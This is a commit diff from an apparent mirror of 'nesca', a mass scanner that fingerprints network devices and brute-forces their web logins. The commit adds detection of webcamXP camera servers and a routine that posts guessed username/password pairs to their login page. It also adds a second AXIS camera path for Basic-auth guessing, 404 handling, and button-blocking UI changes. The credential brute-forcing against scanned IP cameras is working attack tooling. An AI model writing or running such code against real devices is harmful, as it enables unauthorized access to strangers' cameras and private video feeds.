mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-11-23 18:52:19 +00:00
404 check + Webcamxp
This commit is contained in:
parent
fae165357d
commit
8c910fd88c
@ -16,10 +16,7 @@ int BA::checkOutput(const string *buffer, const char *ip, const int port) {
|
|||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
else if (Utils::ustrstr(*buffer, "http/1.1 404") != -1
|
else if (Utils::ustrstr(*buffer, "http/1.1 404") != -1
|
||||||
|| Utils::ustrstr(*buffer, "http/1.0 404") != -1) {
|
|| Utils::ustrstr(*buffer, "http/1.0 404") != -1) return -2;
|
||||||
stt->doEmitionRedFoundData("BA - 404 " + QString(ip) + ":" + QString::number(port));
|
|
||||||
return -2;
|
|
||||||
}
|
|
||||||
else if (Utils::ustrstr(*buffer, "503 service unavailable") != -1
|
else if (Utils::ustrstr(*buffer, "503 service unavailable") != -1
|
||||||
|| Utils::ustrstr(*buffer, "http/1.1 503") != -1
|
|| Utils::ustrstr(*buffer, "http/1.1 503") != -1
|
||||||
|| Utils::ustrstr(*buffer, "http/1.0 503") != -1
|
|| Utils::ustrstr(*buffer, "http/1.0 503") != -1
|
||||||
@ -76,7 +73,10 @@ lopaStr BA::BABrute(const char *ip, const int port, bool digestMode) {
|
|||||||
if (res == -2) return lps;
|
if (res == -2) return lps;
|
||||||
else if (res != -1) {
|
else if (res != -1) {
|
||||||
res = checkOutput(&buffer, ip, port);
|
res = checkOutput(&buffer, ip, port);
|
||||||
if (res == -2) return lps;
|
if (res == -2) {
|
||||||
|
strcpy(lps.other, "404");
|
||||||
|
return lps;
|
||||||
|
}
|
||||||
if (res == -1) {
|
if (res == -1) {
|
||||||
++i;
|
++i;
|
||||||
break;
|
break;
|
||||||
|
@ -124,47 +124,48 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
|
|||||||
buffer->clear();
|
buffer->clear();
|
||||||
CURL *curl = curl_easy_init();
|
CURL *curl = curl_easy_init();
|
||||||
|
|
||||||
if (curl != NULL)
|
if (curl != NULL)
|
||||||
{
|
{
|
||||||
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
|
curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1L);
|
||||||
if (MapWidgetOpened) {
|
if (MapWidgetOpened) {
|
||||||
struct data config;
|
struct data config;
|
||||||
config.trace_ascii = 1; /* enable ascii tracing */
|
config.trace_ascii = 1; /* enable ascii tracing */
|
||||||
curl_easy_setopt(curl, CURLOPT_DEBUGFUNCTION, my_trace);
|
curl_easy_setopt(curl, CURLOPT_DEBUGFUNCTION, my_trace);
|
||||||
curl_easy_setopt(curl, CURLOPT_DEBUGDATA, &config);
|
curl_easy_setopt(curl, CURLOPT_DEBUGDATA, &config);
|
||||||
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
|
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
|
||||||
}
|
}
|
||||||
curl_easy_setopt(curl, CURLOPT_URL, ip);
|
curl_easy_setopt(curl, CURLOPT_URL, ip);
|
||||||
curl_easy_setopt(curl, CURLOPT_PORT, port);
|
curl_easy_setopt(curl, CURLOPT_PORT, port);
|
||||||
curl_easy_setopt(curl, CURLOPT_USERAGENT,
|
curl_easy_setopt(curl, CURLOPT_USERAGENT,
|
||||||
"Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0");
|
"Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0");
|
||||||
curl_easy_setopt(curl, CURLOPT_HEADER, 1L);
|
curl_easy_setopt(curl, CURLOPT_HEADER, 1L);
|
||||||
curl_easy_setopt(curl, CURLOPT_AUTOREFERER, 1L);
|
curl_easy_setopt(curl, CURLOPT_AUTOREFERER, 1L);
|
||||||
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
|
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
|
||||||
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
|
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
|
||||||
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, nWriteCallback);
|
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, nWriteCallback);
|
||||||
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
|
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
|
||||||
int proxyPort = std::atoi(gProxyPort);
|
int proxyPort = std::atoi(gProxyPort);
|
||||||
if(strlen(gProxyIP) != 0 && (proxyPort > 0 && proxyPort < 65535)) {
|
if (strlen(gProxyIP) != 0 && (proxyPort > 0 && proxyPort < 65535)) {
|
||||||
curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP);
|
curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP);
|
||||||
curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort);
|
curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort);
|
||||||
} else {
|
}
|
||||||
curl_easy_setopt(curl, CURLOPT_PROXY, "");
|
else {
|
||||||
}
|
curl_easy_setopt(curl, CURLOPT_PROXY, "");
|
||||||
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
|
}
|
||||||
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
|
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
|
||||||
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut + 3);
|
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut + 3);
|
||||||
|
|
||||||
if(postData != NULL) curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
|
if (postData != NULL) curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
|
||||||
|
|
||||||
if(customHeaders != NULL) {
|
if (customHeaders != NULL) {
|
||||||
|
|
||||||
struct curl_slist *chunk = NULL;
|
struct curl_slist *chunk = NULL;
|
||||||
|
|
||||||
for(auto &ch : *customHeaders) chunk = curl_slist_append(chunk, ch.c_str());
|
for (auto &ch : *customHeaders) chunk = curl_slist_append(chunk, ch.c_str());
|
||||||
|
|
||||||
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk);
|
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk);
|
||||||
}
|
}
|
||||||
|
|
||||||
int res = 0;
|
int res = 0;
|
||||||
|
|
||||||
|
10
IPCAuth.cpp
10
IPCAuth.cpp
@ -66,6 +66,10 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
|||||||
{
|
{
|
||||||
negVector.push_back("action=\"setup_login.cgi\"");
|
negVector.push_back("action=\"setup_login.cgi\"");
|
||||||
}
|
}
|
||||||
|
else if (strcmp(SPEC, "WEBCAMXP") == 0)
|
||||||
|
{
|
||||||
|
negVector.push_back("Not logged in");
|
||||||
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!");
|
stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!");
|
||||||
@ -144,6 +148,12 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
|||||||
sprintf(request, "%s:%d/setup_login.cgi", ip, port);
|
sprintf(request, "%s:%d/setup_login.cgi", ip, port);
|
||||||
sprintf(postData, "check_username=%s&check_password=%s&login=", login, pass);
|
sprintf(postData, "check_username=%s&check_password=%s&login=", login, pass);
|
||||||
}
|
}
|
||||||
|
else if (strcmp(SPEC, "WEBCAMXP") == 0)
|
||||||
|
{
|
||||||
|
doPost = true;
|
||||||
|
sprintf(request, "%s:%d/login.html", ip, port);
|
||||||
|
sprintf(postData, "username=%s&password=%s&Redir=/", login, pass);
|
||||||
|
}
|
||||||
|
|
||||||
std::string buffer;
|
std::string buffer;
|
||||||
if(doPost) res = Connector::nConnect(request, port, &buffer, postData);
|
if(doPost) res = Connector::nConnect(request, port, &buffer, postData);
|
||||||
|
@ -24,23 +24,16 @@ char gTLD[128] = { 0 };
|
|||||||
char gPorts[65536] = { 0 };
|
char gPorts[65536] = { 0 };
|
||||||
char currentIP[MAX_ADDR_LEN] = { 0 };
|
char currentIP[MAX_ADDR_LEN] = { 0 };
|
||||||
char finalIP[32] = { 0 };
|
char finalIP[32] = { 0 };
|
||||||
|
|
||||||
bool gPingNScan = false;
|
bool gPingNScan = false;
|
||||||
std::atomic<int> cons = 0, BrutingThrds = 0, gThreads;
|
std::atomic<int> cons = 0, BrutingThrds = 0, gThreads;
|
||||||
|
|
||||||
std::vector<int> MainStarter::portVector;
|
std::vector<int> MainStarter::portVector;
|
||||||
int MainStarter::flCounter = 0;
|
int MainStarter::flCounter = 0;
|
||||||
bool MainStarter::savingBackUpFile = false;
|
bool MainStarter::savingBackUpFile = false;
|
||||||
|
|
||||||
QJsonArray *jsonArr = new QJsonArray();
|
QJsonArray *jsonArr = new QJsonArray();
|
||||||
|
|
||||||
bool horLineFlag = false;
|
bool horLineFlag = false;
|
||||||
bool gShuffle = true;
|
bool gShuffle = true;
|
||||||
|
|
||||||
int ipCounter = 0;
|
int ipCounter = 0;
|
||||||
|
|
||||||
long long unsigned gTargets = 0, gTargetsNumber = 1;
|
long long unsigned gTargets = 0, gTargetsNumber = 1;
|
||||||
|
|
||||||
char currentMask[128] = { 0 };
|
char currentMask[128] = { 0 };
|
||||||
char metaRange[256] = { 0 };
|
char metaRange[256] = { 0 };
|
||||||
char metaPercent[256] = { 0 };
|
char metaPercent[256] = { 0 };
|
||||||
@ -49,6 +42,10 @@ char metaTargets[256] = { 0 };
|
|||||||
char metaETA[256] = { 0 };
|
char metaETA[256] = { 0 };
|
||||||
char metaOffline[256] = { 0 };
|
char metaOffline[256] = { 0 };
|
||||||
|
|
||||||
|
|
||||||
|
void MainStarter::unBlockButtons(){
|
||||||
|
stt->doEmitionBlockButton(false);
|
||||||
|
}
|
||||||
int MainStarter::fileLoader(const char *fileName) {
|
int MainStarter::fileLoader(const char *fileName) {
|
||||||
|
|
||||||
char curIP[256] = { 0 }, curIPCopy[256] = { 0 };
|
char curIP[256] = { 0 }, curIPCopy[256] = { 0 };
|
||||||
@ -1287,6 +1284,17 @@ void MainStarter::runAuxiliaryThreads() {
|
|||||||
|
|
||||||
void MainStarter::start(const char* targets, const char* ports) {
|
void MainStarter::start(const char* targets, const char* ports) {
|
||||||
|
|
||||||
|
curl_global_init(CURL_GLOBAL_ALL);
|
||||||
|
|
||||||
|
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||||
|
bool res = CreateDirectoryA(RESULT_DIR_NAME, NULL);
|
||||||
|
#else
|
||||||
|
struct stat str = { 0 };
|
||||||
|
if (stat(RESULT_DIR_NAME, &str) == -1) {
|
||||||
|
mkdir(RESULT_DIR_NAME, 0700);
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
if (loadTargets(targets) == -1 ||
|
if (loadTargets(targets) == -1 ||
|
||||||
loadPorts(ports, ',') == -1) {
|
loadPorts(ports, ',') == -1) {
|
||||||
stt->doEmitionKillSttThread();
|
stt->doEmitionKillSttThread();
|
||||||
|
@ -44,18 +44,6 @@ public:
|
|||||||
|
|
||||||
ZeroMemory(ipsstart, sizeof(ipsstart));
|
ZeroMemory(ipsstart, sizeof(ipsstart));
|
||||||
ZeroMemory(ipsend, sizeof(ipsend));
|
ZeroMemory(ipsend, sizeof(ipsend));
|
||||||
|
|
||||||
curl_global_init(CURL_GLOBAL_ALL);
|
|
||||||
|
|
||||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
|
||||||
bool res = CreateDirectoryA(RESULT_DIR_NAME, NULL);
|
|
||||||
#else
|
|
||||||
struct stat str = { 0 };
|
|
||||||
if (stat(RESULT_DIR_NAME, &str) == -1) {
|
|
||||||
mkdir(RESULT_DIR_NAME, 0700);
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
}
|
}
|
||||||
~MainStarter(){
|
~MainStarter(){
|
||||||
FileUpdater::FUClear();
|
FileUpdater::FUClear();
|
||||||
@ -107,8 +95,11 @@ public:
|
|||||||
delete[]ipsendfl;
|
delete[]ipsendfl;
|
||||||
ipsendfl = NULL;
|
ipsendfl = NULL;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
unBlockButtons();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void unBlockButtons();
|
||||||
void runAuxiliaryThreads();
|
void runAuxiliaryThreads();
|
||||||
void saver();
|
void saver();
|
||||||
void saveBackupToFile();
|
void saveBackupToFile();
|
||||||
|
6
STh.cpp
6
STh.cpp
@ -71,7 +71,11 @@ void STh::doEmitionDataSaved(bool status)
|
|||||||
}
|
}
|
||||||
void STh::doEmitionUpdateArc(unsigned long gTargets)
|
void STh::doEmitionUpdateArc(unsigned long gTargets)
|
||||||
{
|
{
|
||||||
emit stt->signalUpdateArc(gTargets);
|
emit stt->signalUpdateArc(gTargets);
|
||||||
|
}
|
||||||
|
void STh::doEmitionBlockButton(bool value)
|
||||||
|
{
|
||||||
|
emit stt->signalBlockButton(value);
|
||||||
}
|
}
|
||||||
|
|
||||||
void STh::setMode(short mode) {
|
void STh::setMode(short mode) {
|
||||||
|
8
STh.h
8
STh.h
@ -37,7 +37,8 @@ public:
|
|||||||
static void doEmitionBAData(QString str);
|
static void doEmitionBAData(QString str);
|
||||||
static void doEmitionDebugFoundData(QString);
|
static void doEmitionDebugFoundData(QString);
|
||||||
static void doEmitionShowRedVersion();
|
static void doEmitionShowRedVersion();
|
||||||
static void doEmitionUpdateArc(unsigned long gTargets);
|
static void doEmitionUpdateArc(unsigned long gTargets);
|
||||||
|
static void doEmitionBlockButton(bool value);
|
||||||
|
|
||||||
signals:
|
signals:
|
||||||
public: signals: void showRedVersion();
|
public: signals: void showRedVersion();
|
||||||
@ -56,8 +57,9 @@ public: signals: void changeDebugFoundData(QString);
|
|||||||
public: signals: void changeStatus(QString);
|
public: signals: void changeStatus(QString);
|
||||||
public: signals: void killSttThread();
|
public: signals: void killSttThread();
|
||||||
public: signals: void sIncData(QString, QString);
|
public: signals: void sIncData(QString, QString);
|
||||||
public: signals: void sOutData(QString);
|
public: signals : void sOutData(QString);
|
||||||
public: signals: void signalUpdateArc(unsigned long);
|
public: signals : void signalUpdateArc(unsigned long);
|
||||||
|
public: signals : void signalBlockButton(bool);
|
||||||
|
|
||||||
protected:
|
protected:
|
||||||
void run();
|
void run();
|
||||||
|
26
finder.cpp
26
finder.cpp
@ -381,6 +381,9 @@ int sharedDetector(const char * ip, int port, const std::string *buffcpy, const
|
|||||||
|| Utils::ustrstr(buffcpy, "/app/live/sim/single.asp") != -1)
|
|| Utils::ustrstr(buffcpy, "/app/live/sim/single.asp") != -1)
|
||||||
) return 50; //Network Video System
|
) return 50; //Network Video System
|
||||||
if (Utils::ustrstr(buffcpy, "MASPRO DENKOH") != -1) return 51; //MASPRO
|
if (Utils::ustrstr(buffcpy, "MASPRO DENKOH") != -1) return 51; //MASPRO
|
||||||
|
if (Utils::ustrstr(buffcpy, "webcamXP") != -1
|
||||||
|
&& Utils::ustrstr(buffcpy, "a valid username/password") != -1
|
||||||
|
) return 52; //Webcamxp5
|
||||||
|
|
||||||
if(((Utils::ustrstr(buffcpy, "220") != -1) && (port == 21)) ||
|
if(((Utils::ustrstr(buffcpy, "220") != -1) && (port == 21)) ||
|
||||||
(Utils::ustrstr(buffcpy, "220 diskStation ftp server ready") != -1) ||
|
(Utils::ustrstr(buffcpy, "220 diskStation ftp server ready") != -1) ||
|
||||||
@ -1193,10 +1196,8 @@ void _specWFBrute(const char *ip, int port, const char *buff, int flag, char *pa
|
|||||||
|
|
||||||
void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char *comment, char *cp, int size, char *SPEC)
|
void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char *comment, char *cp, int size, char *SPEC)
|
||||||
{
|
{
|
||||||
lopaStr lps = {"UNKNOWN", "", ""};
|
IPC ipc;
|
||||||
|
lopaStr lps = ipc.IPCLobby(ip, port, SPEC);
|
||||||
IPC ipc;
|
|
||||||
lps = ipc.IPCLobby(ip, port, SPEC);
|
|
||||||
|
|
||||||
if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
|
if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
|
||||||
{
|
{
|
||||||
@ -1206,12 +1207,19 @@ void _specWEBIPCAMBrute(const char *ip, int port, char *finalstr, int flag, char
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
void _specBrute(const char *ip, int port,
|
int _specBrute(const char *ip, int port,
|
||||||
char *finalstr, int flag,
|
char *finalstr, int flag,
|
||||||
char *path, char *comment, char *cp, int size)
|
char *path, char *comment, char *cp, int size)
|
||||||
{
|
{
|
||||||
const lopaStr &lps = BA::BALobby((string(ip) + string(path)).c_str(), port, (strcmp(comment, "[DIGEST]") == 0 ? true : false));
|
const lopaStr &lps = BA::BALobby((string(ip) + string(path)).c_str(), port, (strcmp(comment, "[DIGEST]") == 0 ? true : false));
|
||||||
|
|
||||||
|
if (strcmp(lps.other, "404") == 0) {
|
||||||
|
|
||||||
|
stt->doEmitionRedFoundData("BA - 404 <a style=\"color:#717171;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + QString(path) + "/\">" +
|
||||||
|
QString(ip) + ":" + QString::number(port) + QString(path) + "</a>");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
|
if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
|
||||||
{
|
{
|
||||||
_specFillerBA(ip, port, finalstr, lps.login, lps.pass, flag);
|
_specFillerBA(ip, port, finalstr, lps.login, lps.pass, flag);
|
||||||
@ -2572,9 +2580,15 @@ int Lexems::filler(char* ip, int port, const std::string *buffcpy, int size, Lex
|
|||||||
{
|
{
|
||||||
_specWEBIPCAMBrute(ip, port, "[MASPRO] WEB IP Camera", flag, "WEB Authorization", cp, size, "MASPRO");
|
_specWEBIPCAMBrute(ip, port, "[MASPRO] WEB IP Camera", flag, "WEB Authorization", cp, size, "MASPRO");
|
||||||
}
|
}
|
||||||
|
else if (flag == 52) //webcamxp5
|
||||||
|
{
|
||||||
|
_specWEBIPCAMBrute(ip, port, "[WEBCAMXP] WEB IP Camera", flag, "WEB Authorization", cp, size, "WEBCAMXP");
|
||||||
|
}
|
||||||
else if (flag == 20) //AXIS Camera
|
else if (flag == 20) //AXIS Camera
|
||||||
{
|
{
|
||||||
_specBrute(ip, port, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, size);
|
if (_specBrute(ip, port, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, size) == -1){
|
||||||
|
_specBrute(ip, port, "AXIS Camera", flag, "/view/viewer_index.shtml?", "Basic Authorization", cp, size);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
else if (flag == 19) //reecam cameras
|
else if (flag == 19) //reecam cameras
|
||||||
{
|
{
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
Unable to open
|
||||||
WebDAV
|
WebDAV
|
||||||
Ruckus Wireless
|
Ruckus Wireless
|
||||||
Company Limited
|
Company Limited
|
||||||
|
53
nesca_3.cpp
53
nesca_3.cpp
@ -59,7 +59,6 @@ DrawerTh_GridQoSScanner *dtGridQoS = new DrawerTh_GridQoSScanner();
|
|||||||
CheckKey_Th *chKTh = new CheckKey_Th();
|
CheckKey_Th *chKTh = new CheckKey_Th();
|
||||||
ActivityDrawerTh_HorNet *adtHN = new ActivityDrawerTh_HorNet();
|
ActivityDrawerTh_HorNet *adtHN = new ActivityDrawerTh_HorNet();
|
||||||
DrawerTh_VoiceScanner *vsTh = new DrawerTh_VoiceScanner();
|
DrawerTh_VoiceScanner *vsTh = new DrawerTh_VoiceScanner();
|
||||||
//IRC_NMBlinker *irc_nmb = new IRC_NMBlinker();
|
|
||||||
PieStat *psTh = new PieStat();
|
PieStat *psTh = new PieStat();
|
||||||
ProgressbarDrawer *pbTh = new ProgressbarDrawer();
|
ProgressbarDrawer *pbTh = new ProgressbarDrawer();
|
||||||
|
|
||||||
@ -1315,6 +1314,7 @@ void nesca_3::importAndScan()
|
|||||||
);
|
);
|
||||||
|
|
||||||
ui->importButton->setText("STOP!");
|
ui->importButton->setText("STOP!");
|
||||||
|
stt->doEmitionBlockButton(true);
|
||||||
stt->doEmitionYellowFoundData("Trying to stop. Please, wait...");
|
stt->doEmitionYellowFoundData("Trying to stop. Please, wait...");
|
||||||
importFileName = "";
|
importFileName = "";
|
||||||
}
|
}
|
||||||
@ -2045,43 +2045,7 @@ void nesca_3::IPScanSeq()
|
|||||||
);
|
);
|
||||||
ui->dataText->clear();
|
ui->dataText->clear();
|
||||||
}
|
}
|
||||||
else
|
else stt->doEmitionRedFoundData("No ports specified!");
|
||||||
{
|
|
||||||
stt->doEmitionRedFoundData("No ports specified!");
|
|
||||||
};
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
if(stopFirst == false)
|
|
||||||
{
|
|
||||||
stopFirst = true;
|
|
||||||
globalScanFlag = false;
|
|
||||||
ui->startScanButton_3->setStyleSheet(
|
|
||||||
" QPushButton {"
|
|
||||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
|
||||||
"color: red;"
|
|
||||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
|
||||||
"}"
|
|
||||||
);
|
|
||||||
|
|
||||||
ui->startScanButton_3->setText("STOP!");
|
|
||||||
stt->doEmitionYellowFoundData("Trying to stop. Please, wait...");
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
globalScanFlag = false;
|
|
||||||
ui->startScanButton_3->setStyleSheet(
|
|
||||||
" QPushButton {"
|
|
||||||
"background-color: qlineargradient(spread:none, x1:1, y1:0, x2:1, y2:1, stop:0.681818 rgba(0, 0, 0, 250), stop:1 rgba(255, 255, 255, 130));"
|
|
||||||
"color: yellow;"
|
|
||||||
"border: 0.5px solid qlineargradient(spread:reflect, x1:0.54, y1:0.488591, x2:0.54, y2:0, stop:0 rgba(255, 255, 255, 130), stop:1 rgba(0, 0, 0, 255));"
|
|
||||||
"}"
|
|
||||||
);
|
|
||||||
|
|
||||||
ui->startScanButton_3->setText("Wait...");
|
|
||||||
stt->doEmitionYellowFoundData("Wait, killing threads...");
|
|
||||||
STTTerminate();
|
|
||||||
};
|
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -2277,9 +2241,16 @@ void nesca_3::onLinkClicked(QUrl link)
|
|||||||
QDesktopServices::openUrl(link);
|
QDesktopServices::openUrl(link);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void nesca_3::slotBlockButtons(bool value) {
|
||||||
|
ui->startScanButton_3->setEnabled(!value);
|
||||||
|
ui->startScanButton_4->setEnabled(!value);
|
||||||
|
ui->importButton->setEnabled(!value);
|
||||||
|
}
|
||||||
|
|
||||||
void nesca_3::ConnectEvrthng()
|
void nesca_3::ConnectEvrthng()
|
||||||
{
|
{
|
||||||
connect ( pbTh, SIGNAL(upd()), this, SLOT(slotPBUpdate()));
|
connect(stt, SIGNAL(signalBlockButton(bool)), this, SLOT(slotBlockButtons(bool)));
|
||||||
|
connect(pbTh, SIGNAL(upd()), this, SLOT(slotPBUpdate()));
|
||||||
connect ( ui->secretMessageBut_1, SIGNAL( clicked() ), this, SLOT( smReaction() ) );
|
connect ( ui->secretMessageBut_1, SIGNAL( clicked() ), this, SLOT( smReaction() ) );
|
||||||
connect ( ui->secretMessageBut_2, SIGNAL( clicked() ), this, SLOT( smReaction() ) );
|
connect ( ui->secretMessageBut_2, SIGNAL( clicked() ), this, SLOT( smReaction() ) );
|
||||||
connect ( ui->secretMessageBut_3, SIGNAL( clicked() ), this, SLOT( smReaction() ) );
|
connect ( ui->secretMessageBut_3, SIGNAL( clicked() ), this, SLOT( smReaction() ) );
|
||||||
@ -2777,6 +2748,7 @@ void nesca_3::startScanButtonClicked()
|
|||||||
);
|
);
|
||||||
|
|
||||||
ui->startScanButton_3->setText("STOP!");
|
ui->startScanButton_3->setText("STOP!");
|
||||||
|
stt->doEmitionBlockButton(true);
|
||||||
stt->doEmitionYellowFoundData("Trying to stop. Please, wait...");
|
stt->doEmitionYellowFoundData("Trying to stop. Please, wait...");
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
@ -2832,6 +2804,7 @@ void nesca_3::startScanButtonClickedDNS()
|
|||||||
);
|
);
|
||||||
|
|
||||||
ui->startScanButton_4->setText("STOP!");
|
ui->startScanButton_4->setText("STOP!");
|
||||||
|
stt->doEmitionBlockButton(true);
|
||||||
stt->doEmitionYellowFoundData("Trying to stop. Please, wait...");
|
stt->doEmitionYellowFoundData("Trying to stop. Please, wait...");
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
@ -2889,7 +2862,7 @@ void nesca_3::MaxBrutingThr_ChangeValue(QString str)
|
|||||||
|
|
||||||
void nesca_3::appendRedBAData(QString str)
|
void nesca_3::appendRedBAData(QString str)
|
||||||
{
|
{
|
||||||
ui->BAText->append("<span style=\"color:red;background-color:#313131;\">" + QString::fromUtf8(str.toLocal8Bit().data()) + "</span>");
|
ui->BAText->append("<span style=\"color:red;\">" + QString::fromUtf8(str.toLocal8Bit().data()) + "</span>");
|
||||||
}
|
}
|
||||||
|
|
||||||
void nesca_3::appendGreenBAData(QString str)
|
void nesca_3::appendGreenBAData(QString str)
|
||||||
|
@ -116,6 +116,7 @@ protected:
|
|||||||
void appendRedBAData(QString str);
|
void appendRedBAData(QString str);
|
||||||
void STTTerminate();
|
void STTTerminate();
|
||||||
void drawVerboseArcs(unsigned long gTargets);
|
void drawVerboseArcs(unsigned long gTargets);
|
||||||
|
void slotBlockButtons(bool value);
|
||||||
private:
|
private:
|
||||||
QPoint dragPosition;
|
QPoint dragPosition;
|
||||||
};
|
};
|
||||||
|
Loading…
Reference in New Issue
Block a user